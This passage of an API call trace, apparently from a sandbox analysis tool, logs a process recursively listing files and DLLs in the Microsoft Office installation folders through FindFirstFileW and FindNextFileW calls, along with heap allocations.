nFileSizeHigh=0x0, nFileSizeLow=0x43aad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9bf4d66, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9bf4d66, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15268, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1 [0235.993] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6194c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xa1880, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscomct2.ocx", cAlternateFileName="")) returned 1 [0235.993] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69658, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0235.993] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1697068, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3eec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0235.993] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0235.993] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0235.993] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0235.994] GetProcessHeap () returned 0xc10000 [0235.994] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0235.994] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0235.995] GetProcessHeap () returned 0xc10000 [0235.995] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0235.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0235.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.995] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0235.995] GetProcessHeap () returned 0xc10000 [0235.995] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0235.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0235.998] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.999] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_64", cAlternateFileName="")) returned 1 [0235.999] GetProcessHeap () returned 0xc10000 [0235.999] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0236.001] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.002] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 1 [0236.002] GetProcessHeap () returned 0xc10000 [0236.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0236.002] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.002] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0236.002] GetProcessHeap () returned 0xc10000 [0236.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0236.003] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.003] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0236.003] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0 [0236.003] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0236.004] GetProcessHeap () returned 0xc10000 [0236.004] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.004] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0236.004] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0236.004] GetProcessHeap () returned 0xc10000 [0236.004] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.004] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0236.004] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0236.004] GetProcessHeap () returned 0xc10000 [0236.004] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.004] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0236.004] GetProcessHeap () returned 0xc10000 [0236.004] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0236.008] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.008] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient", cAlternateFileName="MICROS~1.ADO")) returned 1 [0236.008] GetProcessHeap () returned 0xc10000 [0236.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0236.010] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.010] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1 [0236.010] GetProcessHeap () returned 0xc10000 [0236.010] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0236.011] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.011] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0236.011] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0236.011] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0236.018] GetProcessHeap () returned 0xc10000 [0236.018] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.018] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0236.019] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0236.019] GetProcessHeap () returned 0xc10000 [0236.019] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.019] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0236.019] GetProcessHeap () returned 0xc10000 [0236.019] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, 